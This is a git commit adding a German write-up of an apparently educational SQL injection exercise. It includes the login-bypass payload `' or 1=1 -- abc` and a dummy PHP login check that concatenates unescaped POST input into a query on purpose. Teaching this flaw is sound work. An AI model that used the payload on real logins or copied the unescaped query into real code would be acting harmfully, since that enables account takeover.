commit 10255f134e040a0a80e30e33e25f8aafb9034b1b Author: Oshgnacknak Date: Sun Jan 30 19:43:58 2022 +0100 Add SQL Injection write up diff --git a/sql-injection/README.md b/sql-injection/README.md new file mode 100644 index 0000000..ed57d05 --- /dev/null +++ b/sql-injection/README.md @@ -0,0 +1,44 @@ +# SQL Injection + +Gegeben ist eine Login-Form. +Ziel ist es, sich als Nutzer `max` anzumelden. +Sein Passwort kennen wir nicht. + +![](sql-injection.png) + +## Lösung + +Wir geben folgenden Daten ein: + +- **Benuzername**: `max` +- **Passwort**: `' or 1=1 -- abc` + +Auf dem Server wird das dann etwa so ausgeführt: +```php + WHERE user = 'max' AND password='' or 1=1 -- abc' +<=> WHERE user = 'max' AND 1=1 -- abc' +<=> WHERE user = 'max' -- abc' +<=> WHERE user = 'max' +``` +Also Login wir mit `max` ein, +ohne sein Passwort zu kennen. diff --git a/sql-injection/dummy-login-code.php b/sql-injection/dummy-login-code.php new file mode 100644 index 0000000..5947c4e --- /dev/null +++ b/sql-injection/dummy-login-code.php @@ -0,0 +1,23 @@ +'abc', + 'password'=>'def'); + +function doesQueryReturnAnyRow($query) { + var_dump($query); + return true; +} + +function checkLogin() { + $user = $_POST['user']; // ESCAPE FEHLT!!!! + $password = $_POST['password']; // ESCAPE FEHLT!!!! + + $query = "SELECT * FROM users" + . " WHERE user = '$user'" + . " AND password='$password'"; // Siehe Hint + return doesQueryReturnAnyRow($query); +} + +if (checkLogin()) { + echo "Information: Task solved!"; +} diff --git a/sql-injection/sql-injection.png b/sql-injection/sql-injection.png new file mode 100644 index 0000000..0ce368f Binary files /dev/null and b/sql-injection/sql-injection.png differ